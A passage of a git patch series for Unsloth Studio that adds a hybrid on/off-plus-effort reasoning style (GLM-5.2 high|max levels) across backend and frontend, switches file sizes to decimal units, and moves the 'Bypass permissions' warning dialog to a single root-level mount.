+            description = "Reasoning control style: 'enable_thinking' (boolean), 'reasoning_effort' (low|medium|high), or 'enable_thinking_effort' (on/off gate plus an effort level, e.g. GLM-5.2 high|max)",
+        )
+    )
+    reasoning_effort_levels: List[str] = Field(
+        default_factory = list,
+        description = "Discrete reasoning_effort levels the template offers when reasoning_style is 'enable_thinking_effort' (e.g. ['high', 'max']); empty otherwise",
     )
     reasoning_always_on: bool = Field(
         False, description = "Whether reasoning is always on (not toggleable)"
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index b4a098eaf4..b3f112a944 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -1039,6 +1039,7 @@ def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
             "supports_reasoning": False,
             "reasoning_style": "enable_thinking",
             "reasoning_always_on": False,
+            "reasoning_effort_levels": [],
             "supports_preserve_thinking": False,
             "supports_tools": False,
         }
@@ -2243,6 +2244,7 @@ async def load_model(
                     native_context_length = llama_backend.native_context_length,
                     supports_reasoning = llama_backend.supports_reasoning,
                     reasoning_style = llama_backend.reasoning_style,
+                    reasoning_effort_levels = llama_backend.reasoning_effort_levels,
                     reasoning_always_on = llama_backend.reasoning_always_on,
                     supports_preserve_thinking = llama_backend.supports_preserve_thinking,
                     supports_tools = llama_backend.supports_tools,
@@ -2289,6 +2291,7 @@ async def load_model(
                     ),
                     supports_reasoning = _sf_supports_reasoning,
                     reasoning_style = _sf_reasoning_style,
+                    reasoning_effort_levels = _sf_flags.get("reasoning_effort_levels", []),
                     reasoning_always_on = _sf_flags["reasoning_always_on"],
                     supports_preserve_thinking = _sf_flags["supports_preserve_thinking"],
                     supports_tools = _sf_flags["supports_tools"],
@@ -2553,6 +2556,7 @@ async def load_model(
                 native_context_length = llama_backend.native_context_length,
                 supports_reasoning = llama_backend.supports_reasoning,
                 reasoning_style = llama_backend.reasoning_style,
+                reasoning_effort_levels = llama_backend.reasoning_effort_levels,
                 reasoning_always_on = llama_backend.reasoning_always_on,
                 supports_preserve_thinking = llama_backend.supports_preserve_thinking,
                 supports_tools = llama_backend.supports_tools,
@@ -2669,6 +2673,7 @@ async def load_model(
             requires_trust_remote_code = _requires_rc,
             supports_reasoning = _sf_flags["supports_reasoning"],
             reasoning_style = _sf_flags["reasoning_style"],
+            reasoning_effort_levels = _sf_flags.get("reasoning_effort_levels", []),
             reasoning_always_on = _sf_flags["reasoning_always_on"],
             supports_preserve_thinking = _sf_flags["supports_preserve_thinking"],
             supports_tools = _sf_flags["supports_tools"],
@@ -3226,6 +3231,7 @@ async def get_status(current_subject: str = Depends(get_current_subject)):
                 requires_trust_remote_code = False,
                 supports_reasoning = llama_backend.supports_reasoning,
                 reasoning_style = llama_backend.reasoning_style,
+                reasoning_effort_levels = llama_backend.reasoning_effort_levels,
                 reasoning_always_on = llama_backend.reasoning_always_on,
                 supports_preserve_thinking = llama_backend.supports_preserve_thinking,
                 supports_tools = llama_backend.supports_tools,
@@ -3286,6 +3292,7 @@ async def get_status(current_subject: str = Depends(get_current_subject)):
             ),
             supports_reasoning = _sf_flags["supports_reasoning"],
             reasoning_style = _sf_flags["reasoning_style"],
+            reasoning_effort_levels = _sf_flags.get("reasoning_effort_levels", []),
             reasoning_always_on = _sf_flags["reasoning_always_on"],
             supports_preserve_thinking = _sf_flags["supports_preserve_thinking"],
             supports_tools = _sf_flags["supports_tools"],
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
index 6f11ec96f7..c08619d611 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
@@ -272,10 +272,22 @@ function ListLabel({
 
 /** Format bytes to a human-readable size string. */
 function formatBytes(bytes: number): string {
-  if (bytes === 0) return "0 B";
+  // Guard non-positive / non-finite sizes (0, missing -> NaN, Infinity) so we
+  // never render "NaN undefined" or a negative unit index.
+  if (!Number.isFinite(bytes) || bytes <= 0) return "0 B";
+  // Decimal (base-1000) units to match what Hugging Face reports for a repo's
+  // file sizes -- e.g. 217 GB, not the 201.8 GiB a base-1024 divide would show.
+  // (GPU-fit math below stays base-1024 since VRAM is binary.)
+  // Divide iteratively rather than via Math.log, which has float error at exact
+  // powers of 1000 (log(1e12)/log(1000) = 3.9999... would mislabel 1 TB as
+  // "1000 GB"); the loop also can't run off the end of units.
   const units = ["B", "KB", "MB", "GB", "TB"];
-  const i = Math.floor(Math.log(bytes) / Math.log(1024));
-  const value = bytes / 1024 ** i;
+  let i = 0;
+  let value = bytes;
+  while (value >= 1000 && i < units.length - 1) {
+    value /= 1000;
+    i += 1;
+  }
   return `${value.toFixed(value < 10 ? 1 : 0)} ${units[i]}`;
 }
 
diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index f719af975e..8789a1bb71 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -2078,7 +2078,11 @@ const ReasoningToggle: FC<{ side?: "top" | "bottom" }> = ({
     return null;
   }
 
-  const isEffort = effectiveReasoningStyle === "reasoning_effort";
+  // enable_thinking_effort (GLM-5.2: high|max + disable) reuses the effort
+  // dropdown; it just also carries an Off row via supportsReasoningOff.
+  const isEffort =
+    effectiveReasoningStyle === "reasoning_effort" ||
+    effectiveReasoningStyle === "enable_thinking_effort";
   // Dropdown when there are effort levels or preserve-thinking; else a toggle.
   const useDropdown = isEffort || supportsPreserveThinking;
   const activeLook = isEffort
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index 956056b83b..a9097527be 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -20,7 +20,10 @@ import {
   toExternalBackendProviderType,
 } from "../external-providers";
 import { pickFriendlyContainerName } from "../lib/friendly-names";
-import { tryAdoptServerActiveModel } from "../lib/apply-inference-status-to-store";
+import {
+  reasoningCapsFromLoad,
+  tryAdoptServerActiveModel,
+} from "../lib/apply-inference-status-to-store";
 import {
   clampReasoningEffortToLevels,
   getExternalMaxOutputTokens,
@@ -1302,7 +1305,7 @@ async function autoLoadSmallestModel(): Promise<{
               supportsReasoning: loadResp.supports_reasoning ?? false,
               reasoningAlwaysOn: loadResp.reasoning_always_on ?? false,
               reasoningEnabled: loadResp.supports_reasoning ?? false,
-              reasoningStyle: loadResp.reasoning_style ?? "enable_thinking",
+              ...reasoningCapsFromLoad(loadResp),
               supportsPreserveThinking:
                 loadResp.supports_preserve_thinking ?? false,
               supportsTools: loadResp.supports_tools ?? false,
@@ -1370,7 +1373,7 @@ async function autoLoadSmallestModel(): Promise<{
             supportsReasoning: sfLoadResp.supports_reasoning ?? false,
             reasoningAlwaysOn: sfLoadResp.reasoning_always_on ?? false,
             reasoningEnabled: sfLoadResp.supports_reasoning ?? false,
-            reasoningStyle: sfLoadResp.reasoning_style ?? "enable_thinking",
+            ...reasoningCapsFromLoad(sfLoadResp),
             supportsPreserveThinking:
               sfLoadResp.supports_preserve_thinking ?? false,
             supportsTools: sfLoadResp.supports_tools ?? false,
@@ -1474,7 +1477,7 @@ async function autoLoadSmallestModel(): Promise<{
         supportsReasoning: loadResp.supports_reasoning ?? false,
         reasoningAlwaysOn: loadResp.reasoning_always_on ?? false,
         reasoningEnabled: loadResp.supports_reasoning ?? false,
-        reasoningStyle: loadResp.reasoning_style ?? "enable_thinking",
+        ...reasoningCapsFromLoad(loadResp),
         supportsPreserveThinking: loadResp.supports_preserve_thinking ?? false,
         supportsTools: loadResp.supports_tools ?? false,
         ...resolveToolsEnabledOnLoad(loadResp.supports_tools ?? false),
@@ -2218,6 +2221,7 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
           reasoningEnabled,
           reasoningStyle,
           reasoningEffort,
+          reasoningEffortLevels,
           supportsPreserveThinking,
           preserveThinking,
         } = runtime;
@@ -2258,12 +2262,15 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
             reasoningEffort,
             externalReasoningCaps.reasoningEffortLevels,
           ) as RequestReasoningEffort;
-        const localReasoningEffort =
-          reasoningEffort === "low" ||
-          reasoningEffort === "medium" ||
-          reasoningEffort === "high"
-            ? reasoningEffort
-            : "low";
+        // Clamp to the loaded local model's advertised levels so a stale value
+        // (e.g. "max" carried over from an external model, or a level this model
+        // lacks) becomes one the backend will honor instead of being dropped:
+        // gpt-oss-style reasoning_effort gets low|medium|high, GLM-style
+        // enable_thinking_effort gets high|max.
+        const localReasoningEffort = clampReasoningEffortToLevels(
+          reasoningEffort,
+          reasoningEffortLevels,
+        );
         const externalReasoningEnabled =
           !externalReasoningCaps.supportsReasoningOff ? true : reasoningEnabled;
         const buildRequestPayload = async (
@@ -2506,11 +2513,25 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
             ...(sandboxSessionId ? { session_id: sandboxSessionId } : {}),
             ...(useAdapter === undefined ? {} : { use_adapter: useAdapter }),
             ...(supportsReasoning
-              ? reasoningStyle === "reasoning_effort"
-                ? reasoningEnabled
-                  ? { reasoning_effort: localReasoningEffort }
-                  : {}
-                : { thinking: { type: reasoningEnabled ? "enabled" : "disabled" } }
+              ? reasoningStyle === "enable_thinking_effort"
+                ? // GLM-5.2-style: on/off gate plus an effort level. Disabling
+                  // sends enable_thinking=false (a real disable); enabling sends
+                  // the chosen level (e.g. high|max).
+                  reasoningEnabled
+                  ? {
+                      enable_thinking: true,
+                      reasoning_effort: localReasoningEffort,
+                    }
+                  : { enable_thinking: false }
+                : reasoningStyle === "reasoning_effort"
+                  ? reasoningEnabled
+                    ? { reasoning_effort: localReasoningEffort }
+                    : {}
+                  : {
+                      thinking: {
+                        type: reasoningEnabled ? "enabled" : "disabled",
+                      },
+                    }
               : {}),
             ...(supportsPreserveThinking
               ? { preserve_thinking: preserveThinking }
diff --git a/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx b/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
index 2f61d07a52..14cb6747e9 100644
--- a/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
+++ b/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
@@ -1,8 +1,6 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { useState } from "react";
-
 import { ShieldBanIcon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 
@@ -20,63 +18,80 @@ import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
 import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
 import { Tick02Icon } from "@/lib/tick-icon";
 
-// "Bypass Permissions" entry for the composer "+" -> More menu. Mirrors the
+// "Bypass permissions" entry for the composer "+" -> More menu. Mirrors the
 // settings toggle: enabling demands the danger warning, disabling is immediate.
-// onSelect preventDefault keeps the menu mounted so the warning dialog (which
-// lives in this same fragment) survives instead of unmounting with the menu.
+// The menu closes normally on select (no preventDefault) -- the warning dialog
+// lives outside the menu (BypassPermissionsConfirmDialog, mounted once at the
+// chat-page root and driven by the store), so it survives the menu unmounting
+// and the "+"/More popovers don't stay frozen.
 export function BypassPermissionsMenuItem() {
   const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
   const setBypassPermissions = useChatRuntimeStore(
     (s) => s.setBypassPermissions,
   );
-  const [dialogOpen, setDialogOpen] = useState(false);
+  const setBypassConfirmOpen = useChatRuntimeStore(
+    (s) => s.setBypassConfirmOpen,
+  );
 
   return (
-    <>
-      <DropdownMenuItem
-        className={
-          bypassPermissions ? "text-bypass font-medium" : undefined
+    <DropdownMenuItem
+      className={bypassPermissions ? "text-bypass font-medium" : undefined}
+      onSelect={() => {
+        if (bypassPermissions) {
+          setBypassPermissions(false);
+        } else {
+          // Defer past Radix's menu-close focus restoration: opening the dialog
+          // synchronously here lets the dropdown grab focus back and breaks the
+          // dialog's focus trap.
+          setTimeout(() => setBypassConfirmOpen(true), 0);
         }
-        onSelect={(e) => {
-          if (bypassPermissions) {
-            setBypassPermissions(false);
-          } else {
-            e.preventDefault();
-            setDialogOpen(true);
-          }
-        }}
-      >
-        <HugeiconsIcon icon={ShieldBanIcon} strokeWidth={2} />
-        Bypass permissions
-        {bypassPermissions ? (
-          <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="ml-auto" />
-        ) : null}
-      </DropdownMenuItem>
-      <AlertDialog open={dialogOpen} onOpenChange={setDialogOpen}>
-        <AlertDialogContent size="sm">
-          <AlertDialogHeader>
-            <AlertDialogTitle>Enable Bypass permissions?</AlertDialogTitle>
-            <AlertDialogDescription>
-              Bypass permissions is dangerous since the AI model might delete,
-              corrupt your machine, and or cause real world damage to you or the
-              world - only accept if you are certain
-            </AlertDialogDescription>
-          </AlertDialogHeader>
-          <AlertDialogFooter>
-            <AlertDialogCancel>Cancel</AlertDialogCancel>
-            <AlertDialogAction
-              variant="destructive"
-              className="!bg-destructive !text-destructive-foreground hover:!bg-destructive/90"
-              onClick={() => {
-                setBypassPermissions(true);
-                setDialogOpen(false);
-              }}
-            >
-              I understand
-            </AlertDialogAction>
-          </AlertDialogFooter>
-        </AlertDialogContent>
-      </AlertDialog>
-    </>
+      }}
+    >
+      <HugeiconsIcon icon={ShieldBanIcon} strokeWidth={2} />
+      Bypass permissions
+      {bypassPermissions ? (
+        <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="ml-auto" />
+      ) : null}
+    </DropdownMenuItem>
+  );
+}
+
+// The danger-confirmation dialog. Mounted once at the chat-page root (not inside
+// a Composer or the menu) and driven by global store state, so it works for both
+// the main and shared composers, never duplicates in Compare mode, and confirming
+// or cancelling never leaves the composer "+"/More popovers frozen open.
+export function BypassPermissionsConfirmDialog() {
+  const open = useChatRuntimeStore((s) => s.bypassConfirmOpen);
+  const setOpen = useChatRuntimeStore((s) => s.setBypassConfirmOpen);
+  const setBypassPermissions = useChatRuntimeStore(
+    (s) => s.setBypassPermissions,
+  );
+
+  return (
+    <AlertDialog open={open} onOpenChange={setOpen}>
+      <AlertDialogContent size="sm">
+        <AlertDialogHeader>
+          <AlertDialogTitle>Enable Bypass permissions?</AlertDialogTitle>
+          <AlertDialogDescription>
+            Bypass permissions is dangerous since the AI model might delete,
+            corrupt your machine, and or cause real world damage to you or the
+            world - only accept if you are certain
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter>
+          <AlertDialogCancel>Cancel</AlertDialogCancel>
+          <AlertDialogAction
+            variant="destructive"
+            className="!bg-destructive !text-destructive-foreground hover:!bg-destructive/90"
+            onClick={() => {
+              setBypassPermissions(true);
+              setOpen(false);
+            }}
+          >
+            I understand
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
   );
 }
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index 5c1da88022..c4ca5d96f9 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -94,6 +94,7 @@ import {
   RegisterCompareHandle,
   SharedComposer,
 } from "./shared-composer";
+import { BypassPermissionsConfirmDialog } from "./bypass-permissions-menu-item";
 import {
   CHAT_CODE_TOOLS_ENABLED_KEY,
   CHAT_IMAGE_TOOLS_ENABLED_KEY,
@@ -2235,6 +2236,12 @@ export function ChatPage({
       {/* Portaled surfaces render to document.body, escaping the parent's hidden
           wrapper, so gate them on `active` to keep them off other tabs. */}
       {active && <GuidedTour {...tour.tourProps} />}
+      {/* Single app-level mount for the Bypass permissions warning. It is driven
+          by global store state, so it must live at one stable root (not inside a
+          Composer) -- otherwise Compare mode's multiple composers would each
+          render their own copy and the shared-composer menu would have none. It
+          also portals to body, so gate it on `active` like the tour above. */}
+      {active && <BypassPermissionsConfirmDialog />}
       <div className="relative flex min-h-0 min-w-0 flex-1 basis-0 flex-col overflow-hidden">
         <NativeModelDropOverlay state={nativeModelDropState} />
         {/* Fade under the top bar so messages dissolve as they scroll
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
index 7777fdb7e9..f8a0eb579b 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
@@ -29,7 +29,9 @@ import {
   resolveToolsEnabledOnLoad,
   saveSpeculativeType,
   useChatRuntimeStore,
+  type ReasoningEffort,
 } from "../stores/chat-runtime-store";
+import { clampReasoningEffortToLevels } from "../provider-capabilities";
 import {
   applyActiveModelStatusToStore,
   clampLocalReasoningEffort,
@@ -677,14 +679,21 @@ export function useChatModelRuntime() {
             const reasoningStyle = loadResponse.reasoning_style ?? "enable_thinking";
             const supportsReasoning = loadResponse.supports_reasoning ?? false;
             const supportsTools = loadResponse.supports_tools ?? false;
+            // GLM-5.2-style models report their own effort levels (e.g.
+            // high|max); everything else keeps the default low/medium/high.
             const reasoningEffortLevels =
-              reasoningStyle === "reasoning_effort"
-                ? (["low", "medium", "high"] as const)
+              loadResponse.reasoning_effort_levels &&
+              loadResponse.reasoning_effort_levels.length > 0
+                ? (loadResponse.reasoning_effort_levels as ReasoningEffort[])
                 : (["low", "medium", "high"] as const);
             const existingReasoningEffort = useChatRuntimeStore.getState().reasoningEffort;
-            const clampedReasoningEffort = clampLocalReasoningEffort(
-              existingReasoningEffort,
-            );
+            const clampedReasoningEffort =
+              reasoningStyle === "enable_thinking_effort"
+                ? clampReasoningEffortToLevels(
+                    existingReasoningEffort,
+                    reasoningEffortLevels,
+                  )
+                : clampLocalReasoningEffort(existingReasoningEffort);
             const ggufMaxContextLength = reportedMaxCtx;
             const nextReasoningEnabled = reasoningAlwaysOn
               ? true
@@ -927,8 +936,8 @@ export function useChatModelRuntime() {
 
             if (prog.progress > 0 && prog.progress < 1) {
               hasShownProgress = true;
-              const dlGb = prog.downloaded_bytes / (1024 ** 3);
-              const totalGb = prog.expected_bytes / (1024 ** 3);
+              const dlGb = prog.downloaded_bytes / 1e9;
+              const totalGb = prog.expected_bytes / 1e9;
               const pct = Math.round(prog.progress * 100);
               const progressLabel = composeProgressLabel(
                 dlGb,
@@ -960,7 +969,7 @@ export function useChatModelRuntime() {
               prog.progress === 0
             ) {
               hasShownProgress = true;
-              const dlGb = prog.downloaded_bytes / (1024 ** 3);
+              const dlGb = prog.downloaded_bytes / 1e9;
               const est = estimate(dlSamples, prog.downloaded_bytes, 0);
               const rateSuffix =
                 est.stable ? ` • ${formatRate(est.rate)}` : "";
@@ -1018,8 +1027,10 @@ export function useChatModelRuntime() {
               return;
             }
             if (prog.bytes_total <= 0) return; // nothing useful to render
-            const loadedGb = prog.bytes_loaded / (1024 ** 3);
-            const totalGb = prog.bytes_total / (1024 ** 3);
+            // Decimal GB (1e9) so the total matches the file size Hugging Face
+            // reports and the model-picker shows, not the smaller base-1024 GiB.
+            const loadedGb = prog.bytes_loaded / 1e9;
+            const totalGb = prog.bytes_total / 1e9;
             const pct = Math.min(99, Math.round(prog.fraction * 100));
             const est = estimate(mmapSamples, prog.bytes_loaded, prog.bytes_total);
             const base = `${loadedGb.toFixed(1)} of ${totalGb.toFixed(1)} GB in memory`;
diff --git a/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts b/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
index dbe9ef4dc3..9b7ca08c1b 100644
--- a/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
+++ b/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
@@ -7,10 +7,12 @@ import {
   CHAT_REASONING_ENABLED_KEY,
   loadOptionalBool,
   type ReasoningEffort,
+  type ReasoningStyle,
   resolveToolsEnabledOnLoad,
   useChatRuntimeStore,
 } from "../stores/chat-runtime-store";
 import { isMultimodalResponse, type InferenceStatusResponse } from "../types/api";
+import { clampReasoningEffortToLevels } from "../provider-capabilities";
 import type { ChatModelSummary } from "../types/runtime";
 
 type LocalReasoningEffort = Extract<ReasoningEffort, "low" | "medium" | "high">;
@@ -49,6 +51,38 @@ export function clampLocalReasoningEffort(
   return "low";
 }
 
+/**
+ * Reasoning capability fields derived from a model load/status response.
+ *
+ * Centralises the effort-levels + can-disable derivation so every load path
+ * (main load, status sync, shared/Compare composer, first-chat auto-load) agrees:
+ * a hybrid GLM-style `enable_thinking_effort` model keeps its high|max|Off
+ * controls no matter which path loaded it, instead of falling back to the
+ * default low|medium|high and losing Max/Off.
+ */
+export function reasoningCapsFromLoad(resp: {
+  reasoning_style?: ReasoningStyle | null;
+  reasoning_effort_levels?: string[] | null;
+}): {
+  reasoningStyle: ReasoningStyle;
+  reasoningEffortLevels: readonly ReasoningEffort[];
+  supportsReasoningOff: boolean;
+} {
+  const reasoningStyle: ReasoningStyle =
+    resp.reasoning_style ?? "enable_thinking";
+  const reasoningEffortLevels: readonly ReasoningEffort[] =
+    resp.reasoning_effort_levels && resp.reasoning_effort_levels.length > 0
+      ? (resp.reasoning_effort_levels as ReasoningEffort[])
+      : (["low", "medium", "high"] as const);
+  // enable_thinking and enable_thinking_effort can both be turned off; only the
+  // pure gpt-oss-style reasoning_effort is always-on.
+  return {
+    reasoningStyle,
+    reasoningEffortLevels,
+    supportsReasoningOff: reasoningStyle !== "reasoning_effort",
+  };
+}
+
 export function resolveInferenceCheckpointId(
   status: InferenceStatusResponse,
 ): string | null {
@@ -110,9 +144,11 @@ export function applyActiveModelStatusToStore(
   const supportsReasoning = status.supports_reasoning ?? false;
   const reasoningAlwaysOn = status.reasoning_always_on ?? false;
   const reasoningStyle = status.reasoning_style ?? "enable_thinking";
+  // GLM-5.2-style models report their own effort levels (e.g. high|max);
+  // everything else keeps the default low/medium/high.
   const reasoningEffortLevels =
-    reasoningStyle === "reasoning_effort"
-      ? (["low", "medium", "high"] as const)
+    status.reasoning_effort_levels && status.reasoning_effort_levels.length > 0
+      ? (status.reasoning_effort_levels as ReasoningEffort[])
       : (["low", "medium", "high"] as const);
   const supportsPreserveThinking = status.supports_preserve_thinking ?? false;
   const supportsTools = status.supports_tools ?? false;
@@ -128,9 +164,13 @@ export function applyActiveModelStatusToStore(
     : null;
   const currentSpecType = normalizeSpeculativeType(status.speculative_type);
   const prevState = useChatRuntimeStore.getState();
-  const clampedReasoningEffort = clampLocalReasoningEffort(
-    prevState.reasoningEffort,
-  );
+  const clampedReasoningEffort =
+    reasoningStyle === "enable_thinking_effort"
+      ? clampReasoningEffortToLevels(
+          prevState.reasoningEffort,
+          reasoningEffortLevels,
+        )
+      : clampLocalReasoningEffort(prevState.reasoningEffort);
   const nextDefaultChatTemplate =
     status.chat_template === undefined
       ? prevState.defaultChatTemplate
diff --git a/studio/frontend/src/features/chat/provider-capabilities.ts b/studio/frontend/src/features/chat/provider-capabilities.ts
index 07c953fecc..79c9a3205c 100644
--- a/studio/frontend/src/features/chat/provider-capabilities.ts
+++ b/studio/frontend/src/features/chat/provider-capabilities.ts
@@ -30,7 +30,10 @@ export interface ProviderCapabilities {
 
 export type ExternalReasoningCapabilities = {
   supportsReasoning: boolean;
-  reasoningStyle: "enable_thinking" | "reasoning_effort";
+  // Mirrors the store's ReasoningStyle. External providers only ever use the
+  // first two; "enable_thinking_effort" exists so a local model's caps can be
+  // assigned here without narrowing.
+  reasoningStyle: "enable_thinking" | "reasoning_effort" | "enable_thinking_effort";
   reasoningAlwaysOn: boolean;
   supportsReasoningOff: boolean;
   reasoningEffortLevels: readonly (
diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx
index 13aaba11d5..2adc3ae25a 100644
--- a/studio/frontend/src/features/chat/shared-composer.tsx
+++ b/studio/frontend/src/features/chat/shared-composer.tsx
@@ -61,6 +61,7 @@ import {
 import { listPromptEntries, type PromptEntry } from "./api/prompts-api";
 import { McpComposerButton } from "./mcp-composer-button";
 import { BypassPermissionsMenuItem } from "./bypass-permissions-menu-item";
+import { reasoningCapsFromLoad } from "./lib/apply-inference-status-to-store";
 import { KnowledgeBaseComposerButton } from "@/features/rag/components/knowledge-base-composer-button";
 import { NewProjectDialog } from "./components/new-project-dialog";
 import { useChatProjects } from "./hooks/use-chat-projects";
@@ -617,7 +618,11 @@ export function SharedComposer({
   const reasoningDisabled = !modelLoaded || !effectiveSupportsReasoning;
   const showReasoningControl =
     effectiveSupportsReasoning || effectiveReasoningAlwaysOn;
-  const isEffort = effectiveReasoningStyle === "reasoning_effort";
+  // enable_thinking_effort (GLM-5.2: high|max + disable) reuses the effort
+  // dropdown; it just also carries an Off row via supportsReasoningOff.
+  const isEffort =
+    effectiveReasoningStyle === "reasoning_effort" ||
+    effectiveReasoningStyle === "enable_thinking_effort";
   const thinkingActiveLook = isEffort
     ? reasoningLockedOn || (effectiveReasoningVisualEnabled && !reasoningDisabled)
     : reasoningLockedOn || (effectiveReasoningEnabled && !reasoningDisabled);
@@ -1001,7 +1006,7 @@ export function SharedComposer({
         useChatRuntimeStore.setState({
           supportsReasoning: resp.supports_reasoning ?? false,
           reasoningAlwaysOn: resp.reasoning_always_on ?? false,
-          reasoningStyle: resp.reasoning_style ?? "enable_thinking",
+          ...reasoningCapsFromLoad(resp),
           supportsPreserveThinking: resp.supports_preserve_thinking ?? false,
           supportsTools: resp.supports_tools ?? false,
           tensorParallel: resp.tensor_parallel ?? false,
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index f5db82366c..e2d8701695 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -168,7 +168,13 @@ function saveLastExternalCheckpoint(value: string | null): void {
   }
 }
 
-export type ReasoningStyle = "enable_thinking" | "reasoning_effort";
+// "enable_thinking_effort" is a hybrid: an on/off gate (enable_thinking) plus an
+// effort level among a discrete set (e.g. GLM-5.2's high|max). It reuses the
+// reasoning_effort dropdown UI but, unlike gpt-oss, can be fully disabled.
+export type ReasoningStyle =
+  | "enable_thinking"
+  | "reasoning_effort"
+  | "enable_thinking_effort";
 /** One live DiffusionGemma denoising snapshot: the current canvas text at a
  *  given step of a given block (block/step are 0-based; total = steps in block). */
 export type DiffusionCanvasFrame = {
@@ -533,6 +539,9 @@ type ChatRuntimeStore = {
    * (secrets are still stripped). Takes precedence over confirmToolCalls.
    */
   bypassPermissions: boolean;
+  /** Whether the "Enable Bypass Permissions?" warning dialog is open. Lifted out
+   *  of the composer menu so confirming/cancelling it doesn't leave the menu frozen. */
+  bypassConfirmOpen: boolean;
   /**
    * Per-chat set of tool names the user chose to auto-approve via "Always
    * allow". Keyed by UI confirmation scope, not necessarily the backend
@@ -662,6 +671,7 @@ type ChatRuntimeStore = {
   setMcpEnabledForChat: (enabled: boolean) => void;
   setConfirmToolCalls: (enabled: boolean) => void;
   setBypassPermissions: (enabled: boolean) => void;
+  setBypassConfirmOpen: (open: boolean) => void;
   allowToolAlways: (sessionId: string, toolName: string) => void;
   setToolConfirmation: (
     toolCallId: string,
@@ -973,6 +983,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   // the confirmation gate, so it must be re-enabled (through the warning
   // dialog) each session rather than silently reactivating on reload.
   bypassPermissions: false,
+  bypassConfirmOpen: false,
   alwaysAllowToolsBySession: new Map<string, Set<string>>(),
   toolConfirmations: {},
   webFetchToolsEnabled: loadBool(CHAT_WEB_FETCH_TOOLS_ENABLED_KEY, false),
@@ -1338,6 +1349,8 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
     // Deliberately not persisted (see init): a reload must not silently keep
     // the sandbox/confirmation bypass active without re-accepting the warning.
     set(() => ({ bypassPermissions })),
+  setBypassConfirmOpen: (bypassConfirmOpen) =>
+    set(() => ({ bypassConfirmOpen })),
   allowToolAlways: (sessionId, toolName) =>
     set((state) => {
       const current = state.alwaysAllowToolsBySession.get(sessionId);
diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts
index 8fe0a0ef12..4ac70486e5 100644
--- a/studio/frontend/src/features/chat/types/api.ts
+++ b/studio/frontend/src/features/chat/types/api.ts
@@ -137,7 +137,8 @@ export interface LoadModelResponse {
   max_context_length?: number | null;
   native_context_length?: number | null;
   supports_reasoning?: boolean;
-  reasoning_style?: "enable_thinking" | "reasoning_effort";
+  reasoning_style?: "enable_thinking" | "reasoning_effort" | "enable_thinking_effort";
+  reasoning_effort_levels?: string[];
   reasoning_always_on?: boolean;
   supports_preserve_thinking?: boolean;
   supports_tools?: boolean;
@@ -176,7 +177,8 @@ export interface InferenceStatusResponse {
   } | null;
   requires_trust_remote_code?: boolean;
   supports_reasoning?: boolean;
-  reasoning_style?: "enable_thinking" | "reasoning_effort";
+  reasoning_style?: "enable_thinking" | "reasoning_effort" | "enable_thinking_effort";
+  reasoning_effort_levels?: string[];
   reasoning_always_on?: boolean;
   supports_preserve_thinking?: boolean;
   supports_tools?: boolean;

From 1390e721cb53467a05e63969d03d292c1ad04db8 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 10:24:33 -0700
Subject: [PATCH 85/91] Studio: reserve the duplicated MTP target KV context
 for MLA models (GLM-5.2 OOM) (#6447)

* Studio: reserve the duplicated MTP target KV context for MLA models

